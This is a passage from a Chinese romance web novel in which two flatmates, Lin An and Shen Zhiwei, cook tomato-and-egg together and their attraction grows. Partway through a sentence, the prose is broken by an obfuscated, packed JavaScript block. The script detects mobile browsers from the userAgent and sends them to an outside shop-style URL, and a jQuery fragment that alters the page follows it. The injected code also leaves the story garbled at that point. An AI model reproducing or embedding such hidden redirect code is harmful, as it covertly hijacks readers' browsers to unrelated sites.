水声停了。林荌关掉水龙头,转过身,用毛巾擦手。
“谁说你做得不好吃?”她问。
沈枝薇愣了一下:“你……你刚才不是说,咸了,糊了……”
“那是事实。”林荌把毛巾挂好,走到她面前,“但不好吃,和不能吃,是两回事。”
她比沈枝薇高,看着她的时候需要微微低头。厨房的灯光从她头顶照下来,在她脸上投出浅浅的阴影。
“我第一次做饭的时候,”林荌说,声音很平淡,“把锅烧穿了。”
沈枝薇睁大眼睛。
“真的。”林荌说,“煮泡面,水放少了,忘了关火,锅底烧出个大洞。整间屋子都是烟,邻居差点报警。”
沈枝薇没忍住,笑出声。
“所以,”林荌看着她笑,自己也弯了弯嘴角,“你已经很好了。”
沈枝薇的笑停住了。
她看着林荌,看着林荌眼睛里那点很淡的、几乎看不见的笑意,心脏的位置,那种酸胀的感觉又出现了。
比刚才更强烈。
“谢、谢谢。”她低下头,耳朵有点热。
“不用谢。”林荌绕过她,往客厅走,“明天我教你几个简单的菜。”
沈枝薇抬起头:“真的?”
“嗯。”林荌在沙发上坐下,拿起遥控器换台,“免得你下次再把蒜炒糊了。”
沈枝薇走过去,在她旁边坐下,中间隔了一个人的距离。
电视里在放新闻,主播的声音平稳无波。林荌靠在沙发背上,腿伸长,搭在茶几边缘,姿态放松。
沈枝薇偷偷看她。
林荌的侧脸很好看。鼻梁很高,嘴唇的线条很清晰,下颌线利落干净。她的睫毛很长,垂下来的时候,在眼下投出一小片阴影。
“看什么?”林荌忽然开口,眼睛还看着电视。
沈枝薇吓了一跳,赶紧移开视线:“没、没什么。”
林荌没再说话。
客厅里只有电视的声音。新闻播完,开始放天气预报。主持人说明天多云转晴,气温十八到二十五度。
“林荌。”沈枝微小声叫。
“嗯?”
“你为什么会……把房子租给我?”沈枝薇问,手指揪着衣角,“我的意思是,那么多人想租,为什么是我?”
林荌换了个姿势,转过头看她。
“你想听真话还是假话?”
“……真话。”
“真话是,”林荌说,目光平静,“你长得好看。”
沈枝薇愣住。
“我这个人,肤浅。”林荌转回头,继续看电视,“喜欢好看的东西。房子要好看,家具要好看,合租的人,也要好看。”
沈枝薇张了张嘴,想说点什么,但一个字也说不出来。
耳朵更热了。
“那、那假话呢?”她听见自己问。
“假话你。”
沈枝薇的心脏,重重地跳了一下。
“那……”她抿了抿唇,“你是因为真话租给我,还是因为假话?”
林荌没回答。
她拿起遥控器,关了电视。客厅里瞬间安静下来,只有窗外隐约传来的车流声。
“沈枝薇。”林荌站起来,低头看她。
沈枝薇仰起脸。
“有些问题,别问得太清楚。”林荌说,声音很轻,但很清晰,“问清楚了,就没意思了。”
她说完,转身往房间走。
走到门口,又停下,回过头。
“碗洗好了,厨房收拾干净了。”她说,“明天上午十点,我教你做菜,可别起不来。”
然后,她关上了门。
沈枝薇坐在沙发上,一动不动。
良久,她抬起手,摸了摸自己的耳朵。
烫的。
第二天上午十点,沈枝薇准时出现在厨房。
她穿了件简单的白T恤和牛仔短裤,头发扎成丸子头,脸上干干净净,没化妆。
林荌已经在了。她也穿了白T恤和短裤,不过是黑色的,头发扎成高马尾,看起来比平时更利落。
料理台上摆着食材:两个番茄,三个鸡蛋,一把小葱,还有蒜。
“今天学番茄炒蛋的改良版。”林荌说,递给她一条围裙,“穿上。”
围裙是深蓝色的,棉布材质,洗得有点发白。沈枝薇接过来,套上,在背后系带子。带子有点短,她系了半天,打了个歪歪扭扭的结。
林荌看不下去,走过来:“转过去。”
沈枝薇转过身。林荌的手指擦过她的后腰,解开那个歪扭的结,重新系好。她的动作很快,手指很轻,但沈枝薇还是感觉到,那一小块皮肤,像被烫了一下。
“好了。”林荌说,退后一步,“先打鸡蛋。碗,筷子,盐。”
沈枝薇照做。拿碗,拿筷子,拿盐罐。手有点抖,鸡蛋壳掉进碗里,她手忙脚乱地往外挑。
“别急。”林荌站在她身边,看着她,“慢慢来。”
她的声音很近,呼吸几乎擦过沈枝薇的耳朵。
沈枝薇深吸一口气,重新拿了两个鸡蛋,磕进碗里。这次很顺利,蛋壳完整地分成两半,蛋液滑进碗里。
“加一点盐,一点水。”林荌说,“水可以让鸡蛋更嫩。”
沈枝薇照做。加一小撮盐,加一小勺水,然后用筷子打散。蛋液在碗里旋转,变成均匀的淡黄色。
“可以了。”林荌说,“接下来,处理番茄。”
番茄已经洗好了。林荌递给她一把刀:“在顶端划十字,用开水烫,去皮。”
沈枝薇接过刀。刀很沉,她握得有点紧。
“别紧张。”林荌的手覆上来,握住她的手,“这样拿,手腕用力,不是手指。”
她的手比沈枝薇的大,掌心温热,手指有力。沈枝薇能感觉到她掌心的薄茧,摩擦过自己的手背。
“划十字,不用太深,划破皮就行。”林荌带着她的手,在番茄顶端轻轻划了两刀。
刀刃划破番茄皮,发出轻微的嗤声。
“好了。”林荌松开手,“去烫吧。”
沈枝薇把番茄放进碗里,浇上开水。番茄皮在热水里卷曲,脱离果肉。她看着,忽然想起以前在沈家,厨房的佣人也是这样处理番茄的。
但那时候,她从来不会看。
“在想什么?”林荌问。
沈枝薇回过神,摇摇头:“没什么。”
番茄烫好了,她捞出来,去皮,切块。林荌站在她身边,看着她切。
“刀工不行。”林荌评价,“但还行,能吃。”
沈枝薇切完番茄,额头上出了一层薄汗。她抬起手,想擦,林荌已经抽了张纸巾递过来。
“谢谢。”沈枝薇接过,擦了擦汗。
“开火,倒油。”林荌说,“油热了放鸡蛋。”
沈枝薇打开火,倒油。油热了,冒起青烟,她有点慌,不知道该什么时候放鸡蛋。
“现在。”林荌说。
沈枝薇把蛋液倒进去。滋啦一声,蛋液在锅里迅速膨胀,变成金黄色的蛋饼。她用锅铲翻炒,把鸡蛋炒散,盛出来。
“接下来炒番茄。”林荌说,“不用再放油,用底油就行。”
沈枝薇把番茄倒进去。番茄在锅里滋滋作响,汁水渗出,空气里弥漫开酸甜的香气
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375405|200077||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
“加一点糖,中和酸味。”林荌递给她糖罐。
沈枝薇加了一小勺糖。
“再加一点番茄酱,颜色更好看。”
沈枝薇照做。
番茄炒软了,出汁了,林荌说:“把鸡蛋倒回去,翻炒均匀,撒葱花,出锅。”
沈枝薇手忙脚乱地把鸡蛋倒回去,翻炒,撒葱花,关火,盛盘。
一盘番茄炒蛋,完成了。
她看着那盘菜。鸡蛋金黄,番茄红润,葱花翠绿,汤汁浓稠。比昨天那盘好多了。
“尝尝。”林荌递给她一双筷子。
沈枝薇夹了一筷子,送进嘴里。
鸡蛋很嫩,番茄酸甜适中,味道……刚刚好。
“怎么样?”林荌问。
沈枝薇抬起头,眼睛亮晶晶的:“好吃!”
林荌笑了。不是那种很淡的笑,是真正的、眼睛弯起来的笑。
“嗯。”她说,“好吃。”
沈枝薇也笑,笑着笑着,眼眶有点热。
她赶紧低下头,又夹了一筷子,塞进嘴里。
“慢点吃。”林荌说,转身从冰箱里拿出两盒牛奶,递给她一盒,“又没人跟你抢。”
沈枝薇接过牛奶,插上吸管,喝了一大口。
冰凉的牛奶冲淡了嘴里的味道,但那种酸甜的感觉,还留在舌尖。
“林荌。”她小声叫。
“嗯?”
“谢谢你。”沈枝薇说,声音很轻,但很认真,“真的。”
林荌没说话,只是看着她。
阳光从窗户照进来,落在沈枝薇脸上。她的睫毛很长,在眼下投出浅浅的阴影。鼻尖上有一点点汗,脸颊因为热气而泛着淡淡的粉。
她的眼睛很亮,像含着水光。
林荌移开视线,喝了一口牛奶。
“不用谢。”她说,声音很淡,“学费,从你下个月房租里扣。”
沈枝薇愣了一下,然后笑出声。
“好。”她说,笑得眼睛弯成月牙,“扣多少?”
“一盘菜,十块。”林荌说,放下牛奶盒,“你欠我十块。”
沈枝微笑得更厉害了。她笑得肩膀都在抖,笑得眼泪都出来了。
林荌看着她笑,嘴角也微微扬起。
“傻不傻。”她说,伸手,用指腹擦掉沈枝薇眼角的泪。
动作很轻,很快,一触即分。
沈枝薇的笑声戛然而止。
她看着林荌,看着林荌的手指,看着林荌的眼睛。
林荌也看着她,目光平静,深邃,像看不到底的湖。
空气突然安静了。
只有窗外的鸟叫声,和冰箱低沉的嗡鸣。
“我……”沈枝薇开口,声音有点哑。
“我出去一下。”林荌打断她,转身往外走,“下午回来。你自己吃饭。”
“林荌!”沈枝薇叫住她。
林荌停在门口,没回头。
“晚上……”沈枝薇说,手指紧紧攥着围裙的边缘,“晚上,你想吃什么?我、我可以再做……”
林荌沉默了几秒。
“随便。”她说,然后拉开门,走了出去。
门关上。
沈枝薇站在厨房里,看着那盘还冒着热气的番茄炒蛋,看着林荌刚才站过的地方。
然后,她抬起手,摸了摸自己的眼角。
那里,还残留着一点温度。
林荌手指的温度。
沈枝薇缓缓蹲下来,抱住膝盖,把脸埋进臂弯里。
心脏跳得很快,咚咚咚,像要撞出胸膛。
她不知道这是怎么了。